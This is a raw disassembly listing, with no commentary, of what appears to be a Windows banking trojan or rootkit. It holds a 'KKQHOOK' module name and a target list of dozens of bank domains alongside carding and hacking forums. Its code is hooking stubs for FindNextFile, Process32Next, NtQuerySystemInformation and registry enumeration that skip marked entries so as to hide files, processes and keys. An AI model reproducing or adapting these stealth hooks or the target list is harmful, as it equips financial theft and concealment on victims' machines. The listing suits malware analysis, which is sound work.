dword_41A030	dd 0		dword_41A034	dd 0							; sub_40109A+87r ...
dword_41A038	dd 0		dword_41A03C	dd 14h dup(0)						; sub_40109A+8Fo
dword_41A08C	dd 12FCACh	dword_41A090	dd 12FCC4h						; sub_40109A+32w
aKkqhook_28	db 'KKQHOOK_28',0       ; DATA XREF: sub_406316+5o
					; sub_406344+2ECo
		align 10h
dword_41A0A0	dd 0							; sub_405AAC+78r ...
dword_41A0A4	dd 46h							; sub_405AAC+7D6r ...
off_41A0A8	dd offset aSiliconfirewar ; DATA XREF: sub_405AAC+59r
					; sub_405AAC+7Er
					; "siliconfireware.ru"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aProdexteam_net ; "prodexteam.net"
		dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm"
		dd offset aWww_cbr_ru	; "www.cbr.ru"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu"
		dd offset aNew_egg_com	; "new.egg.com"
		dd offset aWww_baltbank_r ; "www.baltbank.ru"
		dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
		dd offset aOlb2_nationet_ ; "olb2.nationet.com"
		dd offset aWww_bbin_ru	; "www.bbin.ru"
		dd offset aMasterX_com	; "master-x.com"
		dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
		dd offset aWww_masterbank ; "www.masterbank.ru"
		dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
		dd offset aWww_bmo_com	; "www.bmo.com"
		dd offset aWww_bankofmadu ; "www.bankofmadura.com"
		dd offset aWww_cibc_com	; "www.cibc.com"
		dd offset aWww_vtb_ru	; "www.vtb.ru"
		dd offset aWww_cwbank_com ; "www.cwbank.com"
		dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
		dd offset aAlfabank_ru	; "alfabank.ru"
		dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
		dd offset aWww_mmbank_ru ; "www.mmbank.ru"
		dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
		dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
		dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
		dd offset aAtmacasoft_com ; "atmacasoft.com"
		dd offset aAsmworm_com	; "asmworm.com"
		dd offset aWww_proxySocks ; "www.proxy-socks.net"
		dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
		dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
		dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
		dd offset aWww_sbrf_ru	; "www.sbrf.ru"
		dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
		dd offset aWww_bankofindi ; "www.bankofindia.com"
		dd offset aWww_icbank_ru ; "www.icbank.ru"
		dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
		dd offset aWww_spyinstruc ; "www.spyinstructors.com"
		dd offset aWww_kmb_ru	; "www.kmb.ru"
		dd offset aWww_netmagiste ; "www.netmagister.com"
		dd offset aWww_nomos_ru	; "www.nomos.ru"
		dd offset aWww_absolutban ; "www.absolutbank.ru"
		dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
		dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
		dd offset aWww_allahabadb ; "www.allahabadbank.com"
		dd offset aMasterX_comFor ; "master-x.com/forum/"
		dd offset aWww_rbc_com	; "www.rbc.com"
		dd offset aWww_ovk_ru	; "www.ovk.ru"
		dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
		dd offset aProrat_net	; "prorat.net"
		dd offset aYambo_biz	; "yambo.biz"
		dd offset aKidosBank_ru	; "kidos-bank.ru"
		dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
		dd offset aBarclays_com	; "barclays.com"
		dd offset aTotallyfreeban ; "totallyfreebanking.com"
		dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
		dd offset a53bank_com	; "53bank.com"
		dd offset aWww_uralsib_ru ; "www.uralsib.ru"
		dd offset aGrepwareFacili ; "grepware-facility.ru"
		dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
		dd offset aGutabank_ru	; "gutabank.ru"
		dd offset aOpenbank_com	; "openbank.com"
		dd offset aSeclab_ru	; "seclab.ru"
		dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
		dd offset aSecuritylab_ru ; "securitylab.ru"
		dd offset aRoyalbank_com ; "royalbank.com"
		dd offset aFethard_biz	; "fethard.biz"
		dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
		dd offset aGronxplanets_r ; "gronxplanets.ru"
		dd offset aChevychasebank ; "chevychasebank.com"
aSoftwareMicr_4	db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_405AAC+2ECo
					; sub_405AAC+356o ...
aOfstkkq	db 'ofstkkq',0          ; DATA XREF: sub_405AAC+2E7o
					; sub_405AAC+351o
aOfstkkqc	db 'ofstkkqc',0         ; DATA XREF: sub_405AAC+39Ao
					; sub_405AAC+498o
dword_41A1F4	dd 0							; sub_4068A8:loc_4069C9r ...
dword_41A1F8	dd 0							; sub_4068A8+67r ...
dword_41A1FC	dd 38h							; sub_4015EC+79w ...
off_41A200	dd offset loc_401659	; DATA XREF: sub_4015EC+66r
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_401874
		dd offset loc_401803
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_4016CB
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_4016CB
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_4016CB
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401696
		dd offset loc_401696
		dd offset loc_4016CB
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_4016CB
		dd offset loc_4016CB
		dd offset loc_401733
		dd offset loc_401759
		dd offset loc_4017D1
		dd offset loc_401797
		dd offset loc_4016BA
		dd offset loc_401785
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_401785
		dd offset loc_401797
		dd offset loc_401785
		dd offset loc_401785
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
off_41A430	dd offset loc_401659	; DATA XREF: sub_4015EC+24Dr
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_4017AE
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_4017C1
		dd offset loc_4017C1
		dd offset loc_4017C1
		dd offset loc_4017C1
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_4016BA
		dd offset loc_4017D1
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_401785
		dd offset loc_401785
		dd offset loc_4017E7
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401785
		dd offset loc_401797
		dd offset loc_4017F3
		dd offset loc_401874
		dd offset loc_4017E7
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_40166B
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_401659
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4016BA
		dd offset loc_4017D1
		dd offset loc_4017D1
		dd offset loc_4017AE
		dd offset loc_4016BA
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_4016F1
		dd offset loc_4017FC
		dd offset loc_40170D
		dd offset loc_40170D
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401686
		dd offset loc_401686
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401659
		dd offset loc_401659
off_41A600	dd offset loc_401840	; DATA XREF: sub_4015EC+238r
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_401874
		dd offset loc_40186D
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401851
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401840
		dd offset loc_40185E
		dd offset loc_401840
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401840
		dd offset loc_40185E
		dd offset loc_401840
		dd offset loc_40186D
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_40185E
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_401840
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_40186D
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
		dd offset loc_401874
aFindnextfilea	db 'FindNextFileA',0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_41A78F:				; CODE XREF: .data:0041A7D8j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243A99Ch
		test	eax, eax
		jz	short loc_41A7DA
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_41A7A9:				; CODE XREF: .data:0041A7AFj
		cmp	byte ptr [ebx],	0
		jz	short loc_41A7B1
		inc	ebx
		jmp	short loc_41A7A9
; ---------------------------------------------------------------------------


loc_41A7B1:				; CODE XREF: .data:0041A7ACj
		mov	word ptr [ebx],	463Ah
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4DB3D2h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_41A7D7
		popa
		jmp	short loc_41A7DA
; ---------------------------------------------------------------------------


loc_41A7D7:				; CODE XREF: .data:0041A7D2j
		popa
		jmp	short loc_41A78F
; ---------------------------------------------------------------------------


loc_41A7DA:				; CODE XREF: .data:0041A79Cj
					; .data:0041A7D5j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
		db 65h,	57h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_41A810:				; CODE XREF: .data:0041A85Fj
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243AA1Dh
		test	eax, eax
		jz	short loc_41A861
		pusha
		mov	eax, [ebp+0Ch]
		add	eax, 2Ch
		mov	ebx, eax


loc_41A82A:				; CODE XREF: .data:0041A832j
		cmp	word ptr [ebx],	0
		jz	short loc_41A834
		inc	ebx
		inc	ebx
		jmp	short loc_41A82A
; ---------------------------------------------------------------------------


loc_41A834:				; CODE XREF: .data:0041A82Ej
		mov	dword ptr [ebx], 46003Ah
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D4EB559h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_41A85E
		popa
		jmp	short loc_41A861
; ---------------------------------------------------------------------------


loc_41A85E:				; CODE XREF: .data:0041A859j
		popa
		jmp	short loc_41A810
; ---------------------------------------------------------------------------


loc_41A861:				; CODE XREF: .data:0041A81Dj
					; .data:0041A85Cj
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 0FFFFh
dword_41A874	dd 0FFFFFFh, 7551744Eh,	53797265h, 65747379h, 666E496Dh
					; DATA XREF: .data:0041ADC0o
		dd 616D726Fh, 6E6F6974h
		db 0
; ---------------------------------------------------------------------------


loc_41A891:				; DATA XREF: .data:0041ADC8o
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx
		sub	esp, 10h
		mov	eax, [ebp+14h]
		mov	edi, [ebp+10h]
		mov	ebx, [ebp+0Ch]
		mov	[esp+0Ch], eax
		mov	[esp+8], edi
		mov	[esp+4], ebx
		mov	esi, [ebp+8]
		mov	[esp], esi
		call	near ptr 243AAC7h
		mov	[ebp-4], eax
		cmp	esi, 5
		jz	short loc_41A8E1


loc_41A8CD:				; CODE XREF: .data:0041A8E7j
					; .data:0041A93Aj
		mov	eax, [ebp-4]
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_41A8E1:				; CODE XREF: .data:0041A8CBj
		cmp	edi, 1F40h
		jle	short loc_41A8CD
		jmp	short loc_41A8EF
; ---------------------------------------------------------------------------


loc_41A8EB:				; CODE XREF: .data:0041A93Cj
		mov	esi, ebx


loc_41A8ED:				; CODE XREF: .data:0041A934j
		add	ebx, eax


loc_41A8EF:				; CODE XREF: .data:0041A8E9j
		pusha
		mov	eax, [ebx+44h]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_41A8FD:				; CODE XREF: .data:0041A910j
		bt	eax, ebx
		jb	short loc_41A908
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_41A90C
; ---------------------------------------------------------------------------


loc_41A908:				; CODE XREF: .data:0041A900j
		mov	byte ptr [esp+ebx], 31h


loc_41A90C:				; CODE XREF: .data:0041A906j
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_41A8FD
		push	esp
		call	near ptr 0C4DB524h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_41A923
		popa
		jmp	short loc_41A936
; ---------------------------------------------------------------------------


loc_41A923:				; CODE XREF: .data:0041A91Ej
		popa
		mov	eax, [ebx]
		test	eax, eax
		jnz	short loc_41A932
		mov	dword ptr [esi], 0
		jmp	short loc_41A936
; ---------------------------------------------------------------------------


loc_41A932:				; CODE XREF: .data:0041A928j
		add	[esi], eax
		jmp	short loc_41A8ED
; ---------------------------------------------------------------------------


loc_41A936:				; CODE XREF: .data:0041A921j
					; .data:0041A930j
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_41A8CD
		jmp	short loc_41A8EB
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FFFFFFh
aProcess32next	db 'Process32Next',0    ; DATA XREF: .data:off_41ADB0o
word_41A952	dw 8360h		; DATA XREF: .data:off_41ADB8o
		dd 46A08C5h, 0B0BE855h,	0C0850B0Bh, 0EB610374h,	458B610Bh
		dd 1013D08h, 14740101h,	80808E8h, 1FF8108h, 74010101h
		dd 1013D07h, 5750101h, 20202E9h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_41A99A:				; CODE XREF: .data:0041A9E8j
		sub	esp, 8
		mov	ebx, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	[esp+4], ebx
		mov	[esp], edi
		call	near ptr 243ABB1h
		test	eax, eax
		jz	short loc_41A9EA
		pusha
		mov	eax, [ebx+8]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_41A9C1:				; CODE XREF: .data:0041A9D4j
		bt	eax, ebx
		jb	short loc_41A9CC
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_41A9D0
; ---------------------------------------------------------------------------


loc_41A9CC:				; CODE XREF: .data:0041A9C4j
		mov	byte ptr [esp+ebx], 31h


loc_41A9D0:				; CODE XREF: .data:0041A9CAj
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_41A9C1
		push	esp
		call	near ptr 0C4DB5E8h
		add	esp, 24h
		test	ax, ax
		jnz	short loc_41A9E7
		popa
		jmp	short loc_41A9EA
; ---------------------------------------------------------------------------


loc_41A9E7:				; CODE XREF: .data:0041A9E2j
		popa
		jmp	short loc_41A99A
; ---------------------------------------------------------------------------


loc_41A9EA:				; CODE XREF: .data:0041A9B1j
					; .data:0041A9E5j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41AA10:				; CODE XREF: .data:0041AA5Dj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243AC23h
		test	eax, eax
		jnz	short loc_41AA5F
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_41AA2B:				; CODE XREF: .data:0041AA31j
		cmp	byte ptr [ebx],	0
		jz	short loc_41AA33
		inc	ebx
		jmp	short loc_41AA2B
; ---------------------------------------------------------------------------


loc_41AA33:				; CODE XREF: .data:0041AA2Ej
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4DB654h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_41AA59
		popa
		jmp	short loc_41AA5F
; ---------------------------------------------------------------------------


loc_41AA59:				; CODE XREF: .data:0041AA54j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_41AA10
; ---------------------------------------------------------------------------


loc_41AA5F:				; CODE XREF: .data:0041AA23j
					; .data:0041AA57j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41AA78:				; CODE XREF: .data:0041AACBj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243AC8Bh
		test	eax, eax
		jnz	short loc_41AACD
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_41AA93:				; CODE XREF: .data:0041AA9Bj
		cmp	word ptr [ebx],	0
		jz	short loc_41AA9D
		inc	ebx
		inc	ebx
		jmp	short loc_41AA93
; ---------------------------------------------------------------------------


loc_41AA9D:				; CODE XREF: .data:0041AA97j
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D4EB7C2h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_41AAC7
		popa
		jmp	short loc_41AACD
; ---------------------------------------------------------------------------


loc_41AAC7:				; CODE XREF: .data:0041AAC2j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_41AA78
; ---------------------------------------------------------------------------


loc_41AACD:				; CODE XREF: .data:0041AA8Bj
					; .data:0041AAC5j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
dword_41AAD4	dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h		db 0
; ---------------------------------------------------------------------------


loc_41AAE5:				; DATA XREF: .data:0041AE18o
		push	ebp
		mov	ebp, esp


loc_41AAE8:				; CODE XREF: .data:0041AB63j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_41AAF6
		push	dword ptr [eax]


loc_41AAF6:				; CODE XREF: .data:0041AAF2j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243AD15h
		test	eax, eax
		jnz	short loc_41AB65
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_41AB1D:				; CODE XREF: .data:0041AB25j
		cmp	word ptr [ebx],	0
		jz	short loc_41AB27
		inc	ebx
		inc	ebx
		jmp	short loc_41AB1D
; ---------------------------------------------------------------------------


loc_41AB27:				; CODE XREF: .data:0041AB21j
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D4EB84Ch
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_41AB51
		popa
		jmp	short loc_41AB65
; ---------------------------------------------------------------------------


loc_41AB51:				; CODE XREF: .data:0041AB4Cj
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_41AB5E
		pop	dword ptr [eax]


loc_41AB5E:				; CODE XREF: .data:0041AB5Aj
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_41AAE8
; ---------------------------------------------------------------------------


loc_41AB65:				; CODE XREF: .data:0041AB15j
					; .data:0041AB4Fj
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_41AB71
		add	esp, 4


loc_41AB71:				; CODE XREF: .data:0041AB6Cj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41AB8C:				; CODE XREF: .data:0041AC01j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_41AB9A
		push	dword ptr [eax]


loc_41AB9A:				; CODE XREF: .data:0041AB96j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243ADB9h
		test	eax, eax
		jnz	short loc_41AC03
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_41ABC1:				; CODE XREF: .data:0041ABC7j
		cmp	byte ptr [ebx],	0
		jz	short loc_41ABC9
		inc	ebx
		jmp	short loc_41ABC1
; ---------------------------------------------------------------------------


loc_41ABC9:				; CODE XREF: .data:0041ABC4j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4DB7EAh
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_41ABEF
		popa
		jmp	short loc_41AC03
; ---------------------------------------------------------------------------


loc_41ABEF:				; CODE XREF: .data:0041ABEAj
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_41ABFC
		pop	dword ptr [eax]


loc_41ABFC:				; CODE XREF: .data:0041ABF8j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_41AB8C
; ---------------------------------------------------------------------------


loc_41AC03:				; CODE XREF: .data:0041ABB9j
					; .data:0041ABEDj
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_41AC0F
		add	esp, 4


loc_41AC0F:				; CODE XREF: .data:0041AC0Aj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
dword_41AC14	dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h		db 65h,	57h, 0
; ---------------------------------------------------------------------------


loc_41AC27:				; DATA XREF: .data:0041AE38o
		push	ebp
		mov	ebp, esp


loc_41AC2A:				; CODE XREF: .data:0041ACA5j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_41AC38
		push	dword ptr [eax]


loc_41AC38:				; CODE XREF: .data:0041AC34j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243AE57h
		test	eax, eax
		jnz	short loc_41ACA7
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_41AC5F:				; CODE XREF: .data:0041AC67j
		cmp	word ptr [ebx],	0
		jz	short loc_41AC69
		inc	ebx
		inc	ebx
		jmp	short loc_41AC5F
; ---------------------------------------------------------------------------


loc_41AC69:				; CODE XREF: .data:0041AC63j
		mov	dword ptr [ebx], 560023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
